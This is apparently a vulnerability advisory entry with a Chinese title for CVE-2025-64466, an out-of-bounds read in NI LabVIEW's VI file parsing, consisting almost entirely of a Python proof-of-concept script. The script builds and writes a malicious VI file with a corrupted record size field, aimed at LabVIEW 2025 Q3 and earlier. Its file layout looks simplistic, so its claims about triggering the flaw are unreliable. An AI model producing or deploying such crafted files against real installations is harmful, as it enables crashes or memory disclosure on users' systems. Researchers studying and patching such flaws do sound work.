CVE-2025-64466 NI LabVIEW lvre!ExecPostedProcRecPost()越界读取漏洞

import struct def create_malicious_vi(): """ PoC for CVE-2025-64466 - NI LabVIEW VI File Parsing OOB Read This script generates a malformed VI file that triggers an out-of-bounds read in lvre!ExecPostedProcRecPost() function. """ # VI file header header = b'VI' # VI file signature header += struct.pack('<I', 0x00000001) # Version header += struct.pack('<I', 0x00000000) # Reserved # Malformed PostedProc record with corrupted size field posted_proc_tag = b'\x04' # PostedProc record type # Corrupt the size field to trigger OOB read # Size value larger than actual data causes read beyond buffer corrupted_size = struct.pack('<I', 0xFFFFFFFF) # Max uint32 # Malformed data that triggers vulnerability malformed_data = b'\x00' * 16 # Construct the malicious record malicious_record = posted_proc_tag + corrupted_size + malformed_data # Write PoC VI file with open('CVE-2025-64466_poc.vi', 'wb') as f: f.write(header + malicious_record) print('[+] Malicious VI file created: CVE-2025-64466_poc.vi') print('[+] Target: NI LabVIEW 2025 Q3 (25.3) and prior') return 'CVE-2025-64466_poc.vi' if __name__ == '__main__': create_malicious_vi()